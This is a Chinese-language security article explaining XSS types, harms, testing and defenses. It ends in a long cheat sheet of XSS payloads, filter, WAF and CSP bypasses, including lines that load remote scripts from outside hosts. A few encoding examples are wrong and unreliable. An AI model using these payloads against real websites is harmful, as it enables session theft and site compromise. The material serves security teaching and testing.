freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XSS整理
2020-07-23 22:17:42

一、简介:

介绍关于自己对XSS的理解和一些网络文章的整理,随意看看,不要较真,交流为主,大佬绕过

免责声明:此文章仅供交流学习,禁止对网站进行测试,否则后果自负

 

二、理解XSS

  • 简述

    • XSS(Cross-site Scripting)即跨站脚本攻击,XSS是web应用程序的安全漏洞攻击,当恶意使用者在web注入恶意代码,构造成一段带有恶意代码的链接,将恶意代码发送到普通用户,普通用户浏览存在恶意代码的网页时,即造成了一次XSS攻击

  • 分类

    • 反射型XSS

      • 介绍
        • 反射型XSS也叫非持久型XSS,当客户发出请求时,XSS代码出现在URL中,作为参数提交到服务器端,服务端解析后响应,没有对传输参数中的XSS代码进行过滤,直接返回给客户端,客户端浏览器解析并执行带有XSS代码的网页。这个过程就像一次反射,所以称为反射型XSS
      • 例子
          • http://www.foo.com/xss/xss.php的代码为   <?php echo $_GET['xss']?>
          • 制造XSS连接:http://www.foo.com/xss/xss.php?xss=<script>alert(1)</script>
          • 当用户访问XSS连接时,会携带XSS代码,提交到php的xss参数中,php代码为直接输出XSS参数,没有任何过滤,返回到客户端浏览器,然后客户端就会输出一个alert(1)的弹窗
          • 当(1)修改为恶意代码的时候,例如获取cookie,document.cookie,即可通过构造恶意代码获取自己想要的内容,跨站脚本重要的点也在这里,跨站脚本的重点是脚本。
    • 存储型XSS

      • 存储型XSS和反射型XSS的差别在于:提交的XSS代码会存储在服务端(包括:数据库、内存、文件系统等),下次请求目标页面时不用在提交XSS代码。最常用的例子是在留言板,提交一条XSS代码到留言板上,留言板将XSS代码存储到数据库,当用户访问查看留言的时候,留言的内容则会在数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是就发生了XSS攻击
    • DOM型XSS

      • 我觉得DOM型XSS是最不好理解,看过很多资料也都没说出和反射型XSS的区别,唯一的区别就是,DOM XSS的XSS代码不需要服务器响应,出发XSS考的就是浏览器端的DOM解析,可以认为完全在客户端发生的XSS
      • DOM介绍
        • HTML的标签都是节点,而这些节点组成了DOM的整体结构---节点树。

          DOM的规定如下:整个文档是一个文档节点;每个HTML标签是一个元素节点;包含在HTML元素中的文本是文本节点;每一个HTML属性是一个属性节点;注释是注释节点;节点与节点之间都有等级关系。

          通过HTML DOM,树种所有的节点均可通过JavaScript代码进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象。每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型XSS漏洞不需要与服务器交互。

        • 常用语句
          • document对象: document是一个文档对象,代表给定浏览器窗口中的HTML文档。使用document对象可以对HTML文档进行检查、修改或添加内容,并处理该文档的内部事件。
          • windows对象: windows是一个窗口对象,表示浏览器中打开的窗口。
          • element对象: element对象表示html元素。element对象可以拥有类型为元素节点、文本节点、注释节点的子节点。
          • attribute对象: attr对象表示html属性。 NameNodeMap对象百世元素属性节点的无序集he。
          • getElementById():返回带有指定ID的元素。
          • getElementByTagName():返回包含带有指定标签名称的所有元素的节点列表。
          • getElementByClassName():返回包含带有指定类名的所有元素的节点列表。
          • appendChild():把新的子节点添加到指定节点。
          • removeChild():删除子节点。
          • replaceChild():替换子节点。
          • insertBefore():在指定的子节点前面插入新的子节点。
          • createAttribute():创建属性节点。
          • createElement():创建元素节点。
          • createTextNode():创建文本节点。
          • getAttribute():返回指定的属性值。
          • setAttribute():把指定属性设置或修改为指定的值。
  • 危害

    • 挂马
      • 细节等待补充
    • 盗取用户Cookie
    • Dos客户端浏览器
    • 钓鱼攻击
    • 编写针对性的XSS病毒,删除目标文章、恶意串改数据、嫁祸、”借刀杀人“
    • 劫持用户Web行为
    • 蠕虫
  •  挖掘

    • XSS如何挖掘,在哪里挖掘,在哪里出现,我就讲我知道的,知识面浅,大佬绕过
    • 出现在哪
      • XSS在很多地方都可以测试,比如搜索框、URL参数、Post传递的参数、留言板、文章发布功能、文件上传的名称处、数据包的cookie处、url无参数处、表单的提交框处
    • 如何挖掘
      • 首先在测试的位置输入一段特殊的字符如1111111这类的容易查看的字符。
      • 按F12查看刚刚输入1111111所存在的位置,这一步的目的是查看闭合所需要的字符,如”><'等
      • 输入特殊敏感字符和标签字母等<script>/ alert(1) onerror = <img> " ' 查看过滤情况,探测是否有被转码等问题
      • 闭合标签,并通过事件属性,或者另生成一个标签,来构造XSS语句,重要点在闭合,只要能闭合,那么就成功一大大大半了
      • 构造XSS语句
  •  防御

    • HttpOnly (当服务端将返回过来的cookie的属性上加上httponly时候,javascript就无法获取cookie了)

      一个Cookie的使用过程如下:

       

      Step1:浏览器向服务器发起请求,这时没有Cookie。

       

      Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。

       

      Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。

       

      HTTPOnly是在Set-Cookie时被标记的。服务器可能会设置多个Cookie(多个key-value对),而HttpOnly可以有选择性地加在任何一个Cookie值上。在某些时候,应用可能需要JavaScript访问某几项Cookie,这种Cookie可以不设置HttpOnly标记;而仅把HttpOnly标记给用于认证的关键Cookie。

    • 对输入的特殊字符检查

      • XSS的漏洞存在主要原因是因为没有对输入的XSS敏感代码进行转换或者过滤,那么只要对XSS敏感代码进行过滤,转换,也就不存在XSS了
      • 可以通过后端对输入的特殊字符如<>'"script alert() on =等敏感字符进行过滤或者转义
      • 其实可以在转义上在转义,进行双层转义,三层转义,这样就很难判断出过滤规则了
    • 输出检查

      • 输入的时候可能没有过滤完全,那么在输出的地方在过滤一道
      • 编码
        • 将><"'/等字符进行实体编码
    • 有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本“。比如一个用户在论坛里发帖,帖子的内容里要有图片、视频、表格等,这些”富文本“的效果都需要通过HTML代码来实现。

      如何区分安全的”富文本“和有攻击性的XSS呢?

      在处理富文本时,还是要回到”输入检查“的思路上来。”输入检查“的主要问题是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中。因此可以特殊情况特殊处理。

      HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。

      在过滤富文本时,"事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁止的。在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较“安全”的标签存在。“白名单原则”不仅仅用于标签的选择,同样应该用于属性与事件的选择。

      在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与style。如果一定要允许用户自定义样式,则只能像过滤“富文本”一样过滤“CSS”。这需要一个CSS Parser对样式进行智能分析,检查其中是否含危险代码。

      有一些比较成熟的开源项目,实现了对富文本的XSS检查。Anti-Samy 是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到了.Net等语言。在PHP中,可以使用另一个广受好评的开源项目:HTMLPurify。

  •  标签备忘

    • 常用标签

      • XSS触发语句备忘

        一、标准语句

        <script>alert(/XSS/)</script>

        二、尝试大小写

        <sCript>alert(1)</scRipt>

        三、使用<img>标签

        1、windows事件

        <img src="x" onerror=alert(1)>

        <img src="1" onerror=eval("alert('xss')")>

        //图片加载错误时触发

         

        2、鼠标事件

        <img src=1 onmouseover="alert(1)">

        //鼠标指针移动到元素时触发

        <img src=1 onmouseout="alert(1)">

        //鼠标指针移出时触发

        四、使用<a>标签

        1、使用href属性

        <a href="https://www.qq.com">qq</a>

        <a href=javascript:alert('xss')>test</a>

        <a href="javascript:a" onmouseover="alert(/xss/)">aa</a>

        <a href="" onclick=alert('xss')>a</a>

        <a href="" onclick=eval(alert('xss'))>aa</a>

        <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

        五、使用<input>标签

        <input name="name" value="">

        <input value="" onclick=alert('xss') type="text">

        <input name="name" value="" onmouseover=prompt('xss') bad="">

        <input name="name" value=""><script>alert('xss')</script>

        <input type="text" onkeydown="alert(1)">

        //用户按下按键时触发

         

        <input type="text" onkeypress="alert(1)">

        //用户按下按键时触发

         

        <input type="text" onkeyup="alert(1)">

        //用户松开按键时触发

        六、使用<from>标签

        <form action=javascript:alert('xss') method="get"><form action=javascript:alert('xss')>

         

        <form method=post action=aa.asp? onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)>

         

        <!--原code--><form method=post action="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

        七、 使用<iframe>标签

        <iframe src=javascript:alert('xss')></iframe>

         

        <iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe> <!--原code--><iframe src="data:text/html;base64,<script>alert('xss')</script>"> <!--base64编码--><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

        八、 使用<svg>标签

        <svg onload=alert(1)>

        九、 使用<body>标签

        <body onload="alert(1)">

        //加载时触发

        十、 使用<button>标签

        <button onclick="alert(1)">text</button>

        //元素上点击鼠标时触发

         

        <p onmousedown="alert(1)">text</p>

        //元素上按下鼠标时触发

         

         

        <p onmouseup="alert(1)">text</p>

        //在元素上释放鼠标时触发

        十一、 使用<p>标签

        <p onmousedown="alert(1)">text</p>

        //元素上按下鼠标时触发

         

        <p onmouseup="alert(1)">text</p>

        //在元素上释放鼠标时触发

        十二、XSS编码绕过

        1、html实体编码(10进制与16进制):

        如把尖括号编码[ < ]  -----> html十进制: &#60;  html十六进制:&#x3c;

         

        2、javascript的八进制跟十六进制:

        如把尖括号编码[ < ]  -----> js八进制:\74  js十六进制:\x3c

        三个八进制数字,如果数字不够,在前面补零,如a的编码为\141

        两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61

        四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061

        对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r

         

        3、url编码:

        如把尖括号编码[ < ] -----> url: %22

         

        4、base64编码:

        如把尖括号编码[ < ] -----> base64: Ig==

         

        5、jsunicode编码:

        如把尖括号编码[ < ] ----->jsunicode:\u003c

         

        6、String.fromCharCode编码

        如alert的编码为String.fromCharCode(97,108,101,114,116)

         

         

  •  XSS一些绕过

    • 大小写绕过

       

      <sCrIpt>alert(1)</ScRipt>

       

       

      绕过标签黑名单

       

      <script x>

      <script x>alert('XSS')<script y>

       

       

      用代码评估绕过单词黑名单

       

      eval('ale'+'rt(0)');

      Function("ale"+"rt(1)")();

      new Function`al\ert\`6\``;

      setTimeout('ale'+'rt(2)');

      setInterval('ale'+'rt(10)');

      Set.constructor('ale'+'rt(13)')();

      Set.constructor`al\x65rt\x2814\x29```;

       

       

       不完整的HTML标签绕过

       

      可用于IE/Firefox/Chrome/Safari

      <img src='1' onerror='alert(0)' <

       

       

      绕过字符串的引号

       

      String.fromCharCode(88,83,83)

       

       

      绕过Script标签的引号

       

      http://localhost/bla.php?test=</script><script>alert(1)</script>

      <html>

        <script>

          <?php echo 'foo="text '.$_GET['test'].'";';`?>

        </script>

      </html>

       

       

      mousedown事件中绕过引号

       

      你可以使用 ' 在mousedown实践中绕过单引号

      <a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>

       

       

       绕过点(.)的限制

       

      <script>window['alert'](document['domain'])</script>

       

       

      绕过字符串的括号

       

      alert`1`

      setTimeout`alert\u0028document.domain\u0029`;

       

       

       绕过括号和分号

       

      // 来自 @garethheyes

      <script>onerror=alert;throw 1337</script>

      <script>{onerror=alert}throw 1337</script>

      <script>throw onerror=alert,'some string',123,'haha'</script>

       

      // 来自 @terjanq

      <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

       

      // 来自 @cgvwzq

      <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

       

       

      绕过 onxxxx= 黑名单

       

      object onafterscriptexecute=confirm(0)>

      <object onbeforescriptexecute=confirm(0)>

       

      // 绕过 onxxx= 过滤通过空字节/垂直标签,filter with a null byte/vertical tab

      <img src='1' onerror\x00=alert(0) />

      <img src='1' onerror\x0b=alert(0) />

       

      // Bypass onxxx= filter with a '/'

      <img src='1' onerror/=alert(0) />

       

       

      绕过空格过滤

       

      //使用 / 绕过空格过滤

      <img/src='1'/onerror=alert(0)>

       

      //使用 0x0c/^L 绕过空格过滤

      <svgonload=alert(1)>

       

      $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd

      00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al

      00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.

       

       

      绕过电子邮件过滤

       

      "><svg/onload=confirm(1)>"@x.y

       

       

      绕过文档黑名单

       

      <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>

       

       

      在字符串中使用javascript绕过

       

      <script>

      foo="text </script><script>alert(1)</script>";

      </script>

       

       

      使用其他方式绕过重定向限制

       

      location="http://google.com"

      document.location = "http://google.com"

      document.location.href="http://google.com"

      window.location.assign("http://google.com")

      window['location']['href']="http://google.com"

       

       

      使用其他方式执行alert

       

      来自 brutelogic tweet@

      window['alert'](0)

      parent['alert'](1)

      self['alert'](2)

      top['alert'](3)

      this['alert'](4)

      frames['alert'](5)

      content['alert'](6)

       

      [7].map(alert)

      [8].find(alert)

      [9].every(alert)

      [10].filter(alert)

      [11].findIndex(alert)

      [12].forEach(alert);

       

      来自 quanyang tweet@

      prompt`${document.domain}`

      document.location='java\tscript:alert(1)'

      document.location='java\rscript:alert(1)'

      document.location='java\tscript:alert(1)'

       

      来自 404death tweet@

      eval('ale'+'rt(0)');

      Function("ale"+"rt(1)")();

      new Function`al\ert\`6\``;

       

      constructor.constructor("aler"+"t(3)")();

      [].filter.constructor('ale'+'rt(4)')();

       

      top["al"+"ert"](5);

      top[8680439..toString(30)](7);

      top[/al/.source+/ert/.source](8);

      top['al\x65rt'](9);

       

      open('java'+'script:ale'+'rt(11)');

      location='javascript:ale'+'rt(12)';

       

      setTimeout`alert\u0028document.domain\u0029`;

      setTimeout('ale'+'rt(2)');

      setInterval('ale'+'rt(10)');

      Set.constructor('ale'+'rt(13)')();

      Set.constructor`al\x65rt\x2814\x29;

       

      使用其他方式出发alert

      var i = document.createElement("iframe");

      i.onload = function(){

        i.contentWindow.alert(1);

      }

      document.appendChild(i);

       

      //绕过安全机制

      XSSObject.proxy = function (obj, name, report_function_name, exec_original) {

            var proxy = obj[name];

            obj[name] = function () {

              if (exec_original) {

                return proxy.apply(this, arguments);

              }

            };

            XSSObject.lockdown(obj, name);

        };

      XSSObject.proxy(window, 'alert', 'window.alert', false);

       

       

      不使用任何东西绕过 ">"

       

      不必去闭合标签

      <svg onload=alert(1)//

       

       

      使用其他字符绕过 ";"

       

      'te' * alert('*') * 'xt';

      'te' / alert('/') / 'xt';

      'te' % alert('%') % 'xt';

      'te' - alert('-') - 'xt';

      'te' + alert('+') + 'xt';

      'te' ^ alert('^') ^ 'xt';

      'te' > alert('>') > 'xt';

      'te' < alert('<') < 'xt';

      'te' == alert('==') == 'xt';

      'te' & alert('&') & 'xt';

      'te' , alert(',') , 'xt';

      'te' | alert('|') | 'xt';

      'te' ? alert('ifelsesh') : 'xt';

      'te' in alert('in') in 'xt';

      'te' instanceof alert('instanceof') instanceof 'xt';

       

       

      使用HTML编码绕过

       

      %26%2397;lert(1)

       

       

      使用Katana绕过

       

      katakana:https://github.com/aemkei/katakana.js

      javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

       

       

      使用Lontara绕过

       

       

      ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()

       

      更多字母表,可关注:http://aem1k.com/aurebesh.js/#

       

       

      使用ECMAScript6绕过

       

      <script>alert`1`</script>

       

       

      使用八进制编码绕过

       

      javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

       

       

      使用Unicode编码绕过

       

      Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was

      transformed into U+003C LESS­THAN SIGN (<)

       

      Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was

      transformed into U+0022 QUOTATION MARK (")

       

      Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was

      transformed into U+0027 APOSTROPHE (')

       

      Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was

      transformed into U+003C LESS­THAN SIGN (<)

       

      Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was

      transformed into U+0022 QUOTATION MARK (")

       

      Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was

      transformed into U+0027 APOSTROPHE (')

       

      E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/

      %EF%BC%9E becomes >

      %EF%BC%9C becomes <

       

      使用Unicode转换为大写绕过

       

      İ (%c4%b0).toLowerCase() => i

      ı (%c4%b1).toUpperCase() => I

      ſ (%c5%bf) .toUpperCase() => S

      K (%E2%84%AA).toLowerCase() => k

       

      <ſvg onload=... > become <SVG ONLOAD=...>

      <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>

       

       

      使用UTF-7编码绕过

       

      +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

       

       

      使用UTF-8编码绕过

       

      < = %C0%BC = %E0%80%BC = %F0%80%80%BC

      > = %C0%BE = %E0%80%BE = %F0%80%80%BE

      ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7

      " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

      " = %CA%BA

      ' = %CA%B9

       

       

      使用UTF-16be编码绕过

       

      %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00

      \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>

       

       

      使用UTF-32编码绕过

       

      %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

       

       

      使用BOM(浏览器对象模型)绕过

       

      字节顺序标记(页面必须以BOM字符开始)。BOM字符允许您覆盖页面的字符集

      UTF-16编码的BOM字符:

      大端字节 : 0xFE 0xFF

      小端字节 : 0xFF 0xFE

      XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

       

      UTF-32编码的BOM字符:

      大端字节 : 0x00 0x00 0xFE 0xFF

      小端字节 : 0xFF 0xFE 0x00 0x00

      XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

       

       

      使用奇怪的编码绕过

       

      <script>\u0061\u006C\u0065\u0072\u0074(1)</script>

      <img src="1" onerror="alert(1)" />

       

      <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

       

      <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

       

      <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

       

       

      CSP(内容安全策略)绕过

       

      使用GoogleJSONP绕过CSP

       

      //google.com/complete/search?client=chrome&jsonp=alert(1);

       

      <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

       

      更多可用的JSONP端点,查看末尾文件中的 /XSS模糊测试payload/jsonp_endpoint.txt

       

      script=document.createElement('script');

      script.src='//bo0om.ru/csp.js';

      window.frames[0].document.head.appendChild(script);

       

      d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://yoursubdomain.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

       

      <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

       

       

      常见的WAF绕过

       

      Cloudflare XSS绕过

      //来自 Bohdan Korzhynskyi

      <svg onload=prompt%26%230000000040document.domain)>

      <svg onload=prompt%26%23x000000028;document.domain)>

      xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>

       

      //来自RakeshMane10

      <svg/onload=alert()//

       

      <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>

       

      Chrome审计

      </script><svg><script>alert(1)-%26apos%3B

       

      anythinglr00</script><script>alert(document.domain)</script>uxldz

       

      anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

       

      <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

       

      <svg onload\r\n=$.globalEval("al"+"ert()");>

       

      ?"></script><base%20c%3D=href%3Dhttps:\mysite>

       

      <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

       

      <a href=javascript:alert(1)>

  • 总结

    • XSS是一门需要花时间来学习的技术,需要深入得学会javascript, html, dom, css, 等语言,培养兴趣最重要,兴趣有了,啥都不难

  •  文章贡献

 

 

# xss # 渗透测试总结 # 小白学安全
